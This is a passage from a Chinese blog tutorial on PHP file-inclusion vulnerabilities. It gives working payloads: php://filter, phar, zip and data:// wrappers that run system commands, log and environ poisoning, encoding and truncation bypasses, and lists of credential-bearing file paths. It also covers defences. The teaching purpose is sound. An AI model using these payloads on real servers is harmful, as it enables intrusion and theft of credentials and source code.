<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302171514229.png" alt="image-20200302171514229"></p>
<h6 id="执行系统命令"><a href="#执行系统命令" class="headerlink" title="执行系统命令"></a>执行系统命令</h6><pre><code class="php">&lt;?php system(&#39;net user&#39;);?&gt;</code></pre>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302171940647.png" alt="image-20200302171940647"></p>
<h5 id="2-php-filter"><a href="#2-php-filter" class="headerlink" title="2. php://filter"></a>2. php://filter</h5><h6 id="利用条件：无"><a href="#利用条件：无" class="headerlink" title="利用条件：无"></a>利用条件：无</h6><pre><code>通过指定末尾的文件，可以读取经过base64编码后的文件源码，之后再base64解码一下。虽然不能直接获取shell等，但能读取敏感文件危害也是挺大的。</code></pre><h6 id="姿势"><a href="#姿势" class="headerlink" title="姿势"></a>姿势</h6><pre><code class="php">1.php?file=php://filter/read=convert.base64-encode/resource=789.php</code></pre>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302173032776.png" alt="image-20200302173032776"></p>
<h6 id="其他姿势"><a href="#其他姿势" class="headerlink" title="其他姿势"></a>其他姿势</h6><pre><code class="php">1.php?file=php://filter/convert.base64-encode/resource=789.php</code></pre>
<p>效果和上面一样，少了read关键字。在绕过waf时也许有用</p>
<h5 id="3-phar"><a href="#3-phar" class="headerlink" title="3. phar://"></a>3. phar://</h5><h6 id="利用条件-1"><a href="#利用条件-1" class="headerlink" title="利用条件"></a>利用条件</h6><pre><code>1. php版本大于等于 5.3.0</code></pre><h6 id="姿势-1"><a href="#姿势-1" class="headerlink" title="姿势"></a>姿势</h6><p>在当前目录瞎有个123.txt的文件，内容为<?php phpinfo()?>，打包成压缩包123.zip，这里可以修改后缀为：jpg、png等</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302174327863.png" alt="image-20200302174327863"></p>
<p>指定相对路径</p>
<pre><code class="php">1.php?file=phar://123.zip/123.txt</code></pre>
<p>或者绝对路径</p>
<pre><code class="php">1.php?file=phar://D:/PHPTutorial/WWW/wenjianbaohan/123.zip/123.txt</code></pre>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302174727084.png" alt="image-20200302174727084"></p>
<h5 id="4-zip"><a href="#4-zip" class="headerlink" title="4. zip://"></a>4. zip://</h5><h6 id="利用条件-2"><a href="#利用条件-2" class="headerlink" title="利用条件"></a>利用条件</h6><pre><code>1. php版本大于等于5.3.0</code></pre><h6 id="姿势-2"><a href="#姿势-2" class="headerlink" title="姿势"></a>姿势</h6><p>构造zip包的方法同上面的phar，这里可以修改后缀为：jpg、png等</p>
<p>但使用zip协议，需要指定绝对路径，同时将#编码为%23，之后填上压缩包内的文件</p>
<pre><code class="php">1.php?file=zip://D:/PHPTutorial/WWW/wenjianbaohan/123.zip%23123.txt</code></pre>
<h5 id="5-data-URI-schema"><a href="#5-data-URI-schema" class="headerlink" title="5. data:URI schema"></a>5. data:URI schema</h5><h6 id="利用条件-3"><a href="#利用条件-3" class="headerlink" title="利用条件"></a>利用条件</h6><pre><code>1. php版本大于等于5.2
2. allow_url_fopen=On
3. allow_url_include=On</code></pre><h6 id="姿势一："><a href="#姿势一：" class="headerlink" title="姿势一："></a>姿势一：</h6><pre><code class="php">1.php?file=data:text/plain,&lt;?php phpinfo()?&gt;</code></pre>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302182344036.png" alt="image-20200302182344036"></p>
<p>执行命令：</p>
<pre><code class="php">1.php?file=data:text/plain,&lt;?php system(&#39;ipconfig&#39;)?&gt;</code></pre>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302182432353.png" alt="image-20200302182432353"></p>
<h6 id="姿势二"><a href="#姿势二" class="headerlink" title="姿势二"></a>姿势二</h6><pre><code class="php">1.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd0eXBlIDEyMy50eHQnKTs/Pg==</code></pre>
<p>PD9waHAgc3lzdGVtKCd0eXBlIDEyMy50eHQnKTs/Pg== 解码后为<?php system('type 123.txt');?></p>
<p>查看源代码即可看到文件源码</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302185406071.png" alt="image-20200302185406071"></p>
<p>也可以直接执行系统命令</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302185510455.png" alt="image-20200302185510455"></p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302185533385.png" alt="image-20200302185533385"></p>
<p>这种姿势可以在遇到waf时绕过</p>
<h4 id="二、包含日志"><a href="#二、包含日志" class="headerlink" title="二、包含日志"></a>二、包含日志</h4><h5 id="1-访问日志"><a href="#1-访问日志" class="headerlink" title="1.访问日志"></a>1.访问日志</h5><h6 id="利用条件："><a href="#利用条件：" class="headerlink" title="利用条件："></a>利用条件：</h6><pre><code>需要知道服务器日志的存储路径，且日志文件可读</code></pre><h6 id="姿势-3"><a href="#姿势-3" class="headerlink" title="姿势"></a>姿势</h6><p>很多时候，web服务器会将请求写入到日志文件中，比如说Apache。在用户发起请求时，会将请求写入access.log，当发生错误时将错误写入error.log。默认情况下，日志保存路径在 /var/log/apache2</p>
<p>试一下没写入一句话时候，包含日志文件</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302192500745.png" alt="image-20200302192500745"></p>
<p>写入一句话</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302193137960.png" alt="image-20200302193137960"></p>
<p>查看日志里，发现写入的一句话被编码了</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302193124664.png" alt="image-20200302193124664"></p>
<p>利用burp抓包修改</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302193637528.png" alt="image-20200302193637528"></p>
<p>修改后</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302193710374.png" alt="image-20200302193710374"></p>
<p>重新包含日志文件，成功执行一句话</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302194034738.png" alt="image-20200302194034738"></p>
<h5 id="2-ssh-log"><a href="#2-ssh-log" class="headerlink" title="2. ssh-log"></a>2. ssh-log</h5><h6 id="利用条件：需要知道ssh-log的位置，且可读-感觉比较鸡肋，因为这个ssh的日志一般是没有权限读的"><a href="#利用条件：需要知道ssh-log的位置，且可读-感觉比较鸡肋，因为这个ssh的日志一般是没有权限读的" class="headerlink" title="利用条件：需要知道ssh-log的位置，且可读, 感觉比较鸡肋，因为这个ssh的日志一般是没有权限读的"></a>利用条件：需要知道ssh-log的位置，且可读, 感觉比较鸡肋，因为这个ssh的日志一般是没有权限读的</h6><p>这里我用的centos7 所以ssh的日志在 /var/log/secure</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303151658327.png" alt="image-20200303151658327"></p>
<h6 id="姿势-4"><a href="#姿势-4" class="headerlink" title="姿势"></a>姿势</h6><p>用ssh连接：</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303151821019.png" alt="image-20200303151821019"></p>
<p>查看日志：发现一句话已经插入进去了</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303151853000.png" alt="image-20200303151853000"></p>
<p>尝试下能否包含成功：</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303151945340.png" alt="image-20200303151945340"></p>
<h5 id="3-包含environ"><a href="#3-包含environ" class="headerlink" title="3. 包含environ"></a>3. 包含environ</h5><h6 id="利用条件-4"><a href="#利用条件-4" class="headerlink" title="利用条件"></a>利用条件</h6><pre><code>1.php以cgi方式运行，这样environ才会保持UA头。
2.environ文件存储位置已知，且environ文件可读。</code></pre><h6 id="姿势："><a href="#姿势：" class="headerlink" title="姿势："></a>姿势：</h6><p>proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码，则php代码会被写入到environ中。之后再包含它，即可。</p>
<h6 id="测试（这里遇到了问题）"><a href="#测试（这里遇到了问题）" class="headerlink" title="测试（这里遇到了问题）"></a>测试（这里遇到了问题）</h6><p>我尝试包含这个 proc/self/environ文件  ，没有结果，应该是没有可读权限</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303202558459.png" alt="image-20200303202558459"></p>
<p>之后，我尝试用root  chmod o+r environ  赋予它权限，但是却显示如下：</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303202651535.png" alt="image-20200303202651535"></p>
<p>百度了半天，无果！有知道的老哥可以给我解惑下！</p>
<p>可以参考这个：</p>
<ol>
<li><a href="http://websecuritylog.blogspot.jp/2010/06/procselfenviron-injection.html" target="_blank" rel="noopener">The proc/self/environ Injection</a></li>
<li><a href="https://www.exploit-db.com/papers/12886/" target="_blank" rel="noopener">shell via LFI - proc/self/environ method</a></li>
</ol>
<h5 id="4-包含fd"><a href="#4-包含fd" class="headerlink" title="4. 包含fd"></a>4. 包含fd</h5><p>跟包含environ类似。</p>
<p>参考： <a href="https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method" target="_blank" rel="noopener">LFI Cheat Sheet：/proc/self/environ LFI Method</a></p>
<h4 id="三、包含上传文件"><a href="#三、包含上传文件" class="headerlink" title="三、包含上传文件"></a>三、包含上传文件</h4><hr>
<h6 id="利用条件：-1"><a href="#利用条件：-1" class="headerlink" title="利用条件："></a>利用条件：</h6><p>千变万化，不过至少得知道上传的文件在哪，叫啥名字。。。</p>
<h6 id="姿势：-1"><a href="#姿势：-1" class="headerlink" title="姿势："></a>姿势：</h6><p>有时候文件上传遇到白名单检测，那么我们上次的图片马又无法配合解析漏洞，恰好这时候又有文件包含漏洞的话，那么就能利用组合拳getshell了。</p>
<h4 id="四、绕过姿势"><a href="#四、绕过姿势" class="headerlink" title="四、绕过姿势"></a>四、绕过姿势</h4><hr>
<h5 id="1-指定前缀"><a href="#1-指定前缀" class="headerlink" title="1. 指定前缀"></a>1. 指定前缀</h5><h6 id="代码："><a href="#代码：" class="headerlink" title="代码："></a>代码：</h6><pre><code class="php">&lt;?php
     $file = $_GET[&#39;file&#39;];
     include &#39;../uploads/&#39;.$file;
     echo &quot;Hello happen!&quot;;
 ?&gt;</code></pre>
<p>这段代码指定了前缀，要是还像之前那样直接包含的话就会出错，比如</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303155412131.png" alt="image-20200303155412131"></p>
<p>包含的文件名前缀被修改了，服务端实际拼接出来的路径是：/www/uploads/phpinfo.jpg  因为uploads目录下并没有phpinfo.jpg文件，所以失败。</p>
<h6 id="绕过姿势："><a href="#绕过姿势：" class="headerlink" title="绕过姿势："></a>绕过姿势：</h6><pre><code class="php">1.php?file=../wenjianbaohan/phpinfo.jpg</code></pre>
<p>服务端实际路径为： ../uploads/../wenjianbaohan/phpinfo.jpg, 从而包含成功。</p>
<h5 id="2-编码绕过"><a href="#2-编码绕过" class="headerlink" title="2. 编码绕过"></a>2. 编码绕过</h5><p>服务器端常常会对于<code>../</code>等做一些过滤，可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》</p>
<h6 id="利用url编码："><a href="#利用url编码：" class="headerlink" title="利用url编码："></a>利用url编码：</h6><p>../</p>
<pre><code>%2e%2e%2f
..%2f
%2e%2e/</code></pre><p>..\</p>
<pre><code>%2e%2e%5c
..%5c
%2e%2e\</code></pre><h6 id="二次编码："><a href="#二次编码：" class="headerlink" title="二次编码："></a>二次编码：</h6><p>../</p>
<pre><code>%252e%252e%252f</code></pre><p>..\</p>
<pre><code>%252e%252e%255c</code></pre><h6 id="容器-服务器的编码方式"><a href="#容器-服务器的编码方式" class="headerlink" title="容器/服务器的编码方式"></a>容器/服务器的编码方式</h6><p>../</p>
<pre><code>..%c0%af  
%c0%ae%c0%ae/  注：java中会把”%c0%ae”解析为”\uC0AE”，最后转义为ASCCII字符的”.”（点）</code></pre><p>注：<a href="https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work" target="_blank" rel="noopener">Why does Directory traversal attack %C0%AF work?</a></p>
<p>..\</p>
<pre><code>..%c1%9c    </code></pre><h5 id="3-指定后缀"><a href="#3-指定后缀" class="headerlink" title="3. 指定后缀"></a>3. 指定后缀</h5><h6 id="代码：-1"><a href="#代码：-1" class="headerlink" title="代码："></a>代码：</h6><pre><code class="php">&lt;?php
     $file = $_GET[&#39;file&#39;];
     include $file.&#39;/test.php&#39;;
     echo &quot;Hello happen!&quot;;
 ?&gt;</code></pre>
<p>这段代码指定了包含文件的后缀，若是直接包含，出错</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303161320604.png" alt="image-20200303161320604"></p>
<p>服务器实际的拼接路劲：/phpinfo.jpg/test.php</p>
<h6 id="利用URL"><a href="#利用URL" class="headerlink" title="利用URL"></a>利用URL</h6><pre><code>protocol :// hostname[:port] / path / [;parameters][?query]#fragment</code></pre><p>在远程文件包含漏洞（RFI）中，可以利用query或fragment来绕过后缀限制。</p>
<h6 id="姿势一：query"><a href="#姿势一：query" class="headerlink" title="姿势一：query(?)"></a>姿势一：query(?)</h6><pre><code>1.php?file=http://127.0.0.1/wenjianbaohan/phpinfo.jpg?</code></pre><p>服务器拼接的路径：1.php?file=<a href="http://127.0.0.1/wenjianbaohan/phpinfo.jpg?/test/test.php" target="_blank" rel="noopener">http://127.0.0.1/wenjianbaohan/phpinfo.jpg?/test/test.php</a></p>
<p>问号后面的部分 /test/test.php，也就是指定的后缀被当作query从而被绕过</p>
<h6 id="姿势二：fragment（-）"><a href="#姿势二：fragment（-）" class="headerlink" title="姿势二：fragment（#）"></a>姿势二：fragment（#）</h6><pre><code>1.php?file=http://127.0.0.1/wenjianbaohan/phpinfo.jpg%23</code></pre><p>服务器拼接的路径为：1.php?file=<a href="http://127.0.0.1/wenjianbaohan/phpinfo.jpg#/test/test.php" target="_blank" rel="noopener">http://127.0.0.1/wenjianbaohan/phpinfo.jpg#/test/test.php</a></p>
<p>#号后面的部分/test/test.php，也就是指定的后缀被当作fragment从而被绕过。注意要把#号编码为%23</p>
<h6 id="0字节截断"><a href="#0字节截断" class="headerlink" title="0字节截断"></a>0字节截断</h6><p>利用条件：</p>
<pre><code>1.php版本 &lt; php 5.3.4
2.php的magic_quotes_gpc为OFF状态</code></pre><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303164721061.png" alt="image-20200303164721061"></p>
<p>当把magic_quotes_gpc打开，php版本依然是5.2.17时，再测试，结果%00被转义成了\0单体字符，不再具有截断功能。</p>
<p>原因是：当打开magic_quotes_gpc时，所有的 ‘（单引号），”（双引号），\（反斜线）和 NULL字符（%00）都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、mysql_real_escape_string()等</p>
<h6 id="长度截断"><a href="#长度截断" class="headerlink" title="长度截断"></a>长度截断</h6><p>利用条件：</p>
<pre><code>1. php版本为5.3.4以下
2. GPC是否开启没关系</code></pre><p>目录字符串，在linux下4096字节时会达到最大值，在window下是256字节。只要不断的重复<code>./</code></p>
<pre><code>1.php?file=phpinfo.jpg././././././././././././不断重复</code></pre><p>则后缀<code>/test.php</code>，在达到最大值后会被直接丢弃掉。</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303171210731.png" alt="image-20200303171210731"></p>
<p>加上根目录路径一共为258个字节。所以需要的最少的.数为258 -</p>
<p> (1.php文件的路径长度即D:\PHPTutorial\WWW\wenjianbaohan+strlen(‘phpinfo.jpg’))</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303171326221.png" alt="image-20200303171326221"></p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303172132941.png" alt="image-20200303172132941"></p>
<h6 id="点号截断"><a href="#点号截断" class="headerlink" title="点号截断"></a>点号截断</h6><p>利用条件</p>
<pre><code>1. php版本&lt;5.2.8
2. 只适用于windows系统</code></pre><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303172633127.png" alt="image-20200303172633127"></p>
<h4 id="五、防御方案"><a href="#五、防御方案" class="headerlink" title="五、防御方案"></a>五、防御方案</h4><hr>
<h5 id="1-配置-open-basedir-设置只允许访问的目录。"><a href="#1-配置-open-basedir-设置只允许访问的目录。" class="headerlink" title="1. 配置 open_basedir, 设置只允许访问的目录。"></a>1. 配置 open_basedir, 设置只允许访问的目录。</h5><h6 id="open-basedir的作用是限制在某个特定的目录下PHP能打开的文件"><a href="#open-basedir的作用是限制在某个特定的目录下PHP能打开的文件" class="headerlink" title="open_basedir的作用是限制在某个特定的目录下PHP能打开的文件"></a>open_basedir的作用是限制在某个特定的目录下PHP能打开的文件</h6><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303193129667.png" alt="image-20200303193129667"></p>
<p>当配置了open_basedir后，测试下是否可以包含</p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200303193211246.png" alt="image-20200303193211246"></p>
<p>发现已经不能包含了</p>
<h6 id="PS-需要注意的是"><a href="#PS-需要注意的是" class="headerlink" title="PS 需要注意的是"></a>PS 需要注意的是</h6><pre><code>open_basedir的值是目录的前缀，因此如果设置如下：
open_basedir= /home/app/aaa
那么实际上，一下目录都是可以访问的
/home/app/aaa
/home/app/aaabb
/home/app/aaa123

如果要限定一个指定的目录，则需要在最后加上 &#39;/&#39;
open_basedir= /home/app/aaa/</code></pre><h5 id="2-做好文件的权限管理"><a href="#2-做好文件的权限管理" class="headerlink" title="2. 做好文件的权限管理"></a>2. 做好文件的权限管理</h5><h5 id="3-对危险字符进行过滤，如-等"><a href="#3-对危险字符进行过滤，如-等" class="headerlink" title="3. 对危险字符进行过滤，如 ../   ~/ 等"></a>3. 对危险字符进行过滤，如 ../   ~/ 等</h5><h5 id="4-通过白名单策略，只运行包含运行指定的文件"><a href="#4-通过白名单策略，只运行包含运行指定的文件" class="headerlink" title="4. 通过白名单策略，只运行包含运行指定的文件"></a>4. 通过白名单策略，只运行包含运行指定的文件</h5><pre><code class="php">&lt;?php
     $file = $_GET[&#39;file&#39;];
     if($file == &quot;include.php&quot;){
         include $file;
     }else{
         echo &quot;Error:File not find!&quot;;
     }
 ?&gt;</code></pre>
<p>直接将文件写死，只要不是白名单里的这几个文件，一律不执行，很容易就避免了漏洞</p>
<h4 id="六、常见敏感信息路径"><a href="#六、常见敏感信息路径" class="headerlink" title="六、常见敏感信息路径"></a>六、常见敏感信息路径</h4><hr>
<h5 id="1-windows系统"><a href="#1-windows系统" class="headerlink" title="1. windows系统"></a>1. windows系统</h5><pre><code>c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息</code></pre><h5 id="2-Linux-Unix系统"><a href="#2-Linux-Unix系统" class="headerlink" title="2. Linux/Unix系统"></a>2. Linux/Unix系统</h5><pre><code>/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件</code></pre><h5 id="3-Apache"><a href="#3-Apache" class="headerlink" title="3. Apache"></a>3. Apache</h5><pre><code># 配置文件路径
/etc/httpd/conf/httpd.conf

# 默认站点路径
/var/www/html/

# ubuntu 下配置文件
/etc/apache2/apache2.conf

# 访问日志和错误日志
/private/var/log/apache2/error_log
/private/var/log/apache2/access_log</code></pre><h5 id="4-IIS"><a href="#4-IIS" class="headerlink" title="4. IIS"></a>4. IIS</h5><pre><code># 配置文件
web.config</code></pre><h5 id="5-MySQL"><a href="#5-MySQL" class="headerlink" title="5. MySQL"></a>5. MySQL</h5><pre><code># 配置文件
/etc/my.cnf
/etc/mysql/my.cnf </code></pre><h5 id="6-phpMyAdmin"><a href="#6-phpMyAdmin" class="headerlink" title="6. phpMyAdmin"></a>6. phpMyAdmin</h5><pre><code># 配置文件
config.inc.php

# 默认路径
/var/www/phpmyadmin/config.inc.php</code></pre><h5 id="7-XAMPP-建站"><a href="#7-XAMPP-建站" class="headerlink" title="7. XAMPP 建站"></a>7. XAMPP 建站</h5><pre><code># 网站默认路径
xampp\htdocs

# Apache 基本配置
xampp\apache\conf\httpd.conf

# Apache SSL
xampp\apache\conf\ssl.conf

# Apache Perl（仅限插件）
xampp\apache\conf\perl.conf

# Apache Tomcat（仅限插件）
xampp\apache\conf\java.conf

# Apache Python（仅限插件）
xampp\apache\conf\python.conf

# 虚拟主机
xampp/apache/conf/extra/httpd-vhosts.conf

# PHP
xampp\php\php.ini

# 数据库默认路径
xampp\mysql\data

# MySQL
xampp\mysql\bin\my.ini 

# phpMyAdmin
xampp\phpMyAdmin\config.inc.php

# FileZilla FTP 服务器
xampp\FileZilla

# FTP\FileZilla 
Server.xml Mercury 

# 邮件服务器基本配置
xampp\MercuryMail\MERCURY.INI 

# Sendmail
xampp\sendmail\sendmail.ini </code></pre><h5 id="8-phpStudy-建站"><a href="#8-phpStudy-建站" class="headerlink" title="8. phpStudy 建站"></a>8. phpStudy 建站</h5><pre><code># 根目录
phpstudy\WWW
phpstudy_pro\WWW

# phpMyAdmin
phpstudy_pro\WWW\phpMyAdmin4.8.5

# php：Pro 版本，以扩展的方式来显示插件。
phpstudy_pro\Extensions\php\php7.3.4nts\php.ini</code></pre><h5 id="9-日志默认路径"><a href="#9-日志默认路径" class="headerlink" title="9. 日志默认路径"></a>9. 日志默认路径</h5><pre><code># apache+Linux日志默认路径
/etc/httpd/logs/access_log  或者 /var/log/httpd/access_log

# apache+win2003日志默认路径
D:xamppapachelogsaccess.log
D:xamppapachelogserror.log

# IIS6.0+win2003默认日志文件
C:WINDOWSsystem32Logfiles

# IIS7.0+win2003 默认日志文件
%SystemDrive%inetpublogsLogFiles

# nginx 日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
/var/log/nginx/access.log</code></pre>
      
       <hr><span style="font-style: italic;color: gray;"> 转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至 jaytp@qq.com </span>
    </div>
</article>


<p>
    <a  class="dashang" onclick="dashangToggle()">赏</a>
</p>


<div class="article_copyright">
    <p><span class="copy-title">文章标题:</span>web安全之文件包含漏洞</p>
    
    <p><span class="copy-title">本文作者:</span><a  title="dxm">dxm</a></p>
    <p><span class="copy-title">发布时间:</span>2020-03-04, 15:35:11</p>
    <p><span class="copy-title">最后更新:</span>2020-03-07, 01:25:06</p>
